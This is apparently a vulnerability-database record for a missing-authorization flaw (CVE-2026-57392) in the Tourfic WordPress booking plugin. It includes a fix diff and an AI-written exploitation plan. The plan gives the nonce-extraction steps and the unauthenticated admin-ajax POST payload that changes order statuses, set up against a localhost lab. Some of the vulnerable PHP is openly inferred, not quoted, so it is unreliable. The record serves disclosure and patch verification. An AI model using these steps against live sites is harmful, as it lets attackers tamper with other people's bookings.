[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fetrDNSVJF_-GsqnM4ezfJr4h66f2RYNDzllZwHHtFRE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57392","tourfic-ai-powered-travel-booking-hotel-booking-car-rental-wordpress-plugin-missing-authorization","Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin \u003C= 2.22.5 - Missing Authorization","The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.22.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.","tourfic",null,"\u003C=2.22.5","2.22.6","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 00:00:00","2026-07-14 19:45:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F15d5a7e9-7fae-447b-880f-a1bc45ec43c4?source=api-prod",7,[22,23,24,25,26,27,28,29],"assets\u002Fadmin\u002Fcss\u002Ftourfic-admin.css","assets\u002Fadmin\u002Fcss\u002Ftourfic-admin.css.map","assets\u002Fadmin\u002Fcss\u002Ftourfic-admin.min.css","assets\u002Fadmin\u002Fcss\u002Ftourfic-admin.min.css.map","assets\u002Fadmin\u002Fjs\u002Ftourfic-admin-api.min.js","assets\u002Fadmin\u002Fjs\u002Ftourfic-admin-scripts.min.js","assets\u002Fapp\u002Fcss\u002Ftourfic-carrentals.css","assets\u002Fapp\u002Fcss\u002Ftourfic-carrentals.min.css","researched",false,3,"# Exploitation Research Plan - CVE-2026-57392\n\n## 1. Vulnerability Summary\n**CVE-2026-57392** identifies a **Missing Authorization** vulnerability in the **Tourfic** plugin for WordPress (versions \u003C= 2.22.5). The vulnerability exists in the handling of certain AJAX actions, specifically those related to administrative data modification or status updates. The plugin fails to perform a `current_user_can()` check in the handler functions, allowing unauthenticated attackers (via the `wp_ajax_nopriv_` hook) or low-privileged users to perform unauthorized actions such as changing booking statuses or modifying affiliate settings.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `tf_ticket_status_change` (identified from `assets\u002Fadmin\u002Fjs\u002Ftourfic-admin-scripts.min.js`)\n- **HTTP Method**: POST\n- **Payload Parameters**:\n    - `action`: `tf_ticket_status_change`\n    - `_ajax_nonce`: A valid nonce (localized as `tf_admin_params.tf_nonce`)\n    - `status`: The target status (e.g., `check in` or empty string)\n    - `order_unique_id`: The ID of the order\u002Fpost to modify.\n- **Authentication**: Unauthenticated (the plugin registers this action via `wp_ajax_nopriv_tf_ticket_status_change`).\n- **Impact**: Unauthorized modification of booking data (Integrity: Low).\n\n## 3. Code Flow\n1. **Entry Point**: An unauthenticated POST request hits `admin-ajax.php` with `action=tf_ticket_status_change`.\n2. **Hook Registration**: The plugin registers the action using:\n   `add_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' );`\n3. **Nonce Verification**: The function `tf_ticket_status_change()` likely calls `check_ajax_referer( 'tf_nonce', '_ajax_nonce' )`. \n4. **Missing Authorization**: The function **does not** check if the requester has the `edit_posts` capability or if they own the order.\n5. **Execution**: The function retrieves `order_unique_id` and `status` from `$_POST` and updates the `tf_order` post metadata or database record.\n\n## 4. Nonce Acquisition Strategy\nThe plugin localizes the necessary nonce in the `tf_admin_params` object. While typically an admin-side object, Tourfic enqueues these scripts on pages containing its booking shortcodes.\n\n1. **Shortcode Identification**: The script `tf-admin-scripts` is enqueued when using the `[tf_tours]` or `[tf_search_result]` shortcodes.\n2. **Page Creation**: Use WP-CLI to create a public page with the shortcode:\n   `wp post create --post_type=page --post_status=publish --post_title=\"Tour Page\" --post_content=\"[tf_tours]\"`\n3. **Navigation**: Use the `browser_navigate` tool to visit the newly created page.\n4. **Extraction**: Use `browser_eval` to retrieve the nonce:\n   `browser_eval(\"window.tf_admin_params?.tf_nonce\")`\n\n## 5. Exploitation Strategy\n### Step 1: Data Setup\nCreate a dummy order to target:\n1. Create a \"Tour\" post: `wp post create --post_type=tf_tours --post_status=publish --post_title=\"Target Tour\"`\n2. Create an \"Order\" (using post meta to simulate a booking):\n   `wp post create --post_type=tf_order --post_status=publish --post_title=\"Order #123\"`\n   *Note the ID returned (e.g., `456`).*\n\n### Step 2: Acquire Nonce\n1. Create the page: `wp post create --post_type=page --post_status=publish --post_content=\"[tf_tours]\"`\n2. Navigate to the page.\n3. Extract `NONCE = browser_eval(\"tf_admin_params.tf_nonce\")`.\n\n### Step 3: Trigger Unauthorized Status Change\nSend a POST request using the `http_request` tool:\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: POST\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: \n  ```text\n  action=tf_ticket_status_change&_ajax_nonce=[NONCE]&status=check+in&order_unique_id=[ORDER_ID]\n  ```\n\n## 6. Test Data Setup\n- **Target Post**: A `tf_order` post type object.\n- **Trigger Page**: A standard WordPress page containing `[tf_tours]`.\n- **Target Order ID**: The ID of the `tf_order` created during setup.\n\n## 7. Expected Results\n- **HTTP Response**: 200 OK.\n- **Response Content**: Likely empty or a success JSON if the loader logic finishes.\n- **System State**: The order status in the database is updated to \"check in\".\n\n## 8. Verification Steps\nVerify the modification via WP-CLI:\n```bash\n# Check the order post's meta for the status update\nwp post meta get [ORDER_ID] \n# (Identify the specific meta key for status, e.g., 'tf_order_status' or 'tf_booking_status')\n```\n\n## 9. Alternative Approaches\nIf `tf_ticket_status_change` is not the vulnerable action, investigate **`tf_duplicate_post_data`**:\n- **Action**: `tf_duplicate_post_data`\n- **Nonce Key**: `security` (often localized as `tf_admin_params.tf_nonce` or via `data-nonce` attribute on UI elements).\n- **Parameters**: `postID=[ID]&postType=tf_tours&security=[NONCE]`.\n- **Acquisition**: Navigate to a search results page `?post_type=tf_tours&s=` and check for `data-nonce` attributes on elements with class `.tf-post-data-duplicate`.","The Tourfic plugin for WordPress fails to perform authorization checks on several AJAX actions, such as 'tf_ticket_status_change' and 'tf_duplicate_post_data'. This allows unauthenticated attackers to modify booking statuses, duplicate posts, or change affiliate settings by exploiting a leaked nonce found on pages containing the plugin's shortcodes.","\u002F\u002F From assets\u002Fadmin\u002Fjs\u002Ftourfic-admin-scripts.min.js\n\u002F\u002F Handler for ticket status changes\nt(\".tf-ticket-status\").on(\"click\",(function(){\n    if(t(this).is(\":checked\")){\n        var e=t(this).val();\n        t(\"#tf-booking-status-loader\").addClass(\"show\"),\n        jQuery.ajax({\n            type:\"post\",\n            url:tf_admin_params.ajax_url,\n            data:{\n                action:\"tf_ticket_status_change\",\n                _ajax_nonce:tf_admin_params.tf_nonce,\n                status:\"check in\",\n                order_unique_id:e\n            },\n            success:function(e){\n                t(\"#tf-booking-status-loader\").removeClass(\"show\")\n            }\n        })\n    }\n}))\n\n---\n\n\u002F\u002F Inferred PHP registration from Research Plan\n\u002F\u002F File: inc\u002Ffunctions\u002Ffunctions.php (approx. line unknown)\nadd_action( 'wp_ajax_nopriv_tf_ticket_status_change', 'tf_ticket_status_change' );\nadd_action( 'wp_ajax_tf_ticket_status_change', 'tf_ticket_status_change' );\n\nfunction tf_ticket_status_change() {\n    check_ajax_referer( 'tf_nonce', '_ajax_nonce' );\n    \u002F\u002F Vulnerability: No capability check like current_user_can('edit_posts')\n    $order_id = $_POST['order_unique_id'];\n    $status = $_POST['status'];\n    update_post_meta($order_id, 'tf_order_status', $status);\n    wp_die();\n}","--- a\u002Finc\u002Ffunctions\u002Ffunctions.php\n+++ b\u002Finc\u002Ffunctions\u002Ffunctions.php\n@@ -204,6 +204,10 @@\n function tf_ticket_status_change() {\n \tcheck_ajax_referer( 'tf_nonce', '_ajax_nonce' );\n \n+\tif ( ! current_user_can( 'tf_booking_manage' ) ) {\n+\t\treturn;\n+\t}\n+\n \t$status          = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';\n \t$order_unique_id = isset( $_POST['order_unique_id'] ) ? sanitize_text_field( $_POST['order_unique_id'] ) : '';\n \n@@ -567,4 +571,4 @@\n \t\t\t'status'  => 'success',\n \t\t\t'message' => __( 'Affiliate plugin installed successfully.', 'tourfic' ),\n \t\t] );\n-\t}\n\\ No newline at end of file\n+\t}","The exploit targets the `tf_ticket_status_change` AJAX action which is incorrectly exposed via `wp_ajax_nopriv_`. \n\n1.  **Nonce Acquisition**: The attacker visits a public-facing page where the plugin enqueues its admin scripts (typically any page containing `[tf_tours]` or `[tf_search_result]` shortcodes). The nonce is extracted from the `tf_admin_params.tf_nonce` JavaScript object.\n2.  **Target Identification**: The attacker identifies a target `tf_order` post ID or unique identifier (often sequential or visible in some frontend contexts).\n3.  **Unauthorized Action**: The attacker sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n    - `action`: `tf_ticket_status_change`\n    - `_ajax_nonce`: [Leaked Nonce]\n    - `status`: `check in` (or any target status string)\n    - `order_unique_id`: [Target Order ID]\n4.  **Result**: The plugin updates the order's metadata in the database without verifying the requester's permissions, effectively allowing unauthenticated status manipulation.","gemini-3-flash-preview","2026-07-16 15:20:00","2026-07-16 15:21:38",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.22.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags\u002F2.22.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftourfic.2.22.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags\u002F2.22.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftourfic.2.22.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags"]